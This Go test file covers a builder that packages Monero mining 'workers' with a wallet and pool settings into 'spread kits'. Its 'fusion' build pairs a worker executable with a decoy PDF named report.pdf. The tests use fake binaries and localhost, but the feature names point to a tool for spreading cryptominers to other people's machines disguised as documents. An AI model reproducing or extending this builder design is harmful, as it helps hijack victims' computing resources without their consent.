package builder

import (
	"context"
	"net/http"
	"os"
	"path/filepath"
	"strings"
	"testing"
)

func TestFinishSpreadKitUniversal(t *testing.T) {
	h, database := testHandlerDB(t)
	defer database.Close()

	buildDir := t.TempDir()
	buildID := "spread-universal-1"
	win := BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}
	worker := filepath.Join(buildDir, "windows-amd64", "install-pc.exe")
	if err := os.MkdirAll(filepath.Dir(worker), 0755); err != nil {
		t.Fatal(err)
	}
	if err := os.WriteFile(worker, []byte("fake-worker"), 0644); err != nil {
		t.Fatal(err)
	}

	req := &BuildRequest{
		WorkerName: "My Worker",
		ServerURL:  "http://127.0.0.1:8989",
		Wallet:     "48abc",
		PoolHost:   "pool.supportxmr.com",
		PoolPort:   3333,
	}
	workers := map[string]string{win.Label(): worker}
	resp, code, primary := h.finishSpreadKit(buildID, buildDir, req, workers, []BuildPlatform{win})
	if code != http.StatusOK || !resp.Success {
		t.Fatalf("finishSpreadKit failed: code=%d resp=%+v", code, resp)
	}
	if primary != worker {
		t.Fatalf("primary path: got %q want %q", primary, worker)
	}
	if !strings.Contains(resp.RelativePath, "universal") {
		t.Fatalf("expected universal kit path, got %q", resp.RelativePath)
	}
	outDir := filepath.Join(h.projectRoot, "spread-kits", sanitizeFileName(req.WorkerName)+"-universal")
	if _, err := os.Stat(filepath.Join(outDir, "README.txt")); err != nil {
		t.Fatalf("spread kit output missing: %v", err)
	}
}

func TestFinishSpreadKitSpreadKitFlag(t *testing.T) {
	h, database := testHandlerDB(t)
	defer database.Close()

	buildDir := t.TempDir()
	buildID := "spread-kit-2"
	win := BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}
	worker := filepath.Join(buildDir, "windows-amd64", "worker.exe")
	if err := os.MkdirAll(filepath.Dir(worker), 0755); err != nil {
		t.Fatal(err)
	}
	if err := os.WriteFile(worker, []byte("w"), 0644); err != nil {
		t.Fatal(err)
	}

	req := &BuildRequest{WorkerName: "kit", ServerURL: "http://x", Wallet: "48a", SpreadKit: true}
	resp, code, _ := h.finishSpreadKit(buildID, buildDir, req, map[string]string{win.Label(): worker}, []BuildPlatform{win})
	if code != http.StatusOK || !resp.Success {
		t.Fatalf("unexpected: code=%d %+v", code, resp)
	}
	sub := sanitizeFileName(req.WorkerName) + "-spread-kit"
	if !strings.Contains(resp.RelativePath, sub) {
		t.Fatalf("relative path %q should contain %q", resp.RelativePath, sub)
	}
}

func TestFinishSpreadKitCopyWorkerFails(t *testing.T) {
	h, database := testHandlerDB(t)
	defer database.Close()

	buildDir := t.TempDir()
	win := BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}
	req := &BuildRequest{WorkerName: "pc", ServerURL: "http://x", Wallet: "48a"}
	workers := map[string]string{win.Label(): filepath.Join(buildDir, "missing.exe")}
	resp, code, _ := h.finishSpreadKit("id", buildDir, req, workers, []BuildPlatform{win})
	if code != http.StatusInternalServerError || resp.Success {
		t.Fatalf("expected copy failure, code=%d success=%v err=%q", code, resp.Success, resp.Error)
	}
}

func TestFinishSpreadKitPrimaryPrefersWindows(t *testing.T) {
	h, database := testHandlerDB(t)
	defer database.Close()

	buildDir := t.TempDir()
	linux := BuildPlatform{GOOS: "linux", GOARCH: "amd64", Ext: ""}
	win := BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}
	linuxWorker := filepath.Join(buildDir, "linux-amd64", "worker")
	winWorker := filepath.Join(buildDir, "windows-amd64", "worker.exe")
	for _, p := range []string{filepath.Dir(linuxWorker), filepath.Dir(winWorker)} {
		if err := os.MkdirAll(p, 0755); err != nil {
			t.Fatal(err)
		}
	}
	if err := os.WriteFile(linuxWorker, []byte("l"), 0644); err != nil {
		t.Fatal(err)
	}
	if err := os.WriteFile(winWorker, []byte("w"), 0644); err != nil {
		t.Fatal(err)
	}

	req := &BuildRequest{WorkerName: "multi", ServerURL: "http://x", Wallet: "48a"}
	workers := map[string]string{linux.Label(): linuxWorker, win.Label(): winWorker}
	_, _, primary := h.finishSpreadKit("id", buildDir, req, workers, []BuildPlatform{linux, win})
	if primary != winWorker {
		t.Fatalf("primary should prefer windows-amd64, got %q", primary)
	}
}

func TestBuildUniversalAgentCopySourceFails(t *testing.T) {
	h, database := testHandlerDB(t)
	defer database.Close()
	h.agentSrcDir = filepath.Join(t.TempDir(), "no-agent")

	req := &BuildRequest{
		TargetOS:   "universal",
		WorkerName: "pc",
		ServerURL:  "http://127.0.0.1:8989",
		Wallet:     "48abc",
	}
	resp, code, _ := h.buildUniversalAgent(context.Background(), req, "")
	if code != http.StatusInternalServerError || resp.Success {
		t.Fatalf("expected copy failure: code=%d %+v", code, resp)
	}
	if !strings.Contains(resp.Error, "agent source") {
		t.Fatalf("error: %q", resp.Error)
	}
}

func TestBuildUniversalAgentCompileFails(t *testing.T) {
	h, database := testHandlerDB(t)
	defer database.Close()
	setFakeGoFail(t, h)

	req := &BuildRequest{
		TargetOS:   "universal",
		WorkerName: "pc",
		ServerURL:  "http://127.0.0.1:8989",
		Wallet:     "48abc",
		SpreadKit:  true,
	}
	resp, code, _ := h.buildUniversalAgent(context.Background(), req, "")
	if code != http.StatusInternalServerError || resp.Success {
		t.Fatalf("expected compile failure: code=%d %+v", code, resp)
	}
}

func TestFinishUniversalFusionBuildFusionFails(t *testing.T) {
	h, database := testHandlerDB(t)
	defer database.Close()
	setFakeGoFail(t, h)

	buildDir := t.TempDir()
	buildID := "fusion-fail-1"
	prep := filepath.Join(t.TempDir(), "report.pdf")
	if err := os.WriteFile(prep, []byte("%PDF-1.4"), 0644); err != nil {
		t.Fatal(err)
	}
	win := BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}
	worker := filepath.Join(buildDir, "windows-amd64", "worker-pc.exe")
	if err := os.MkdirAll(filepath.Dir(worker), 0755); err != nil {
		t.Fatal(err)
	}
	if err := os.WriteFile(worker, []byte("worker"), 0644); err != nil {
		t.Fatal(err)
	}

	req := &BuildRequest{
		WorkerName:        "pc",
		ServerURL:         "http://127.0.0.1:8989",
		Wallet:            "48abc",
		FusionEnabled:     true,
		FusionPayloadKind: "file",
		FusionMediaMode:   "paired",
		FusionMediaBaseName: "report.pdf",
	}
	resp, code, _ := h.finishUniversalFusion(
		context.Background(), buildID, buildDir, req, prep,
		map[string]string{win.Label(): worker}, []BuildPlatform{win},
	)
	if code != http.StatusInternalServerError || resp.Success {
		t.Fatalf("expected fusion compile failure: code=%d %+v", code, resp)
	}
}
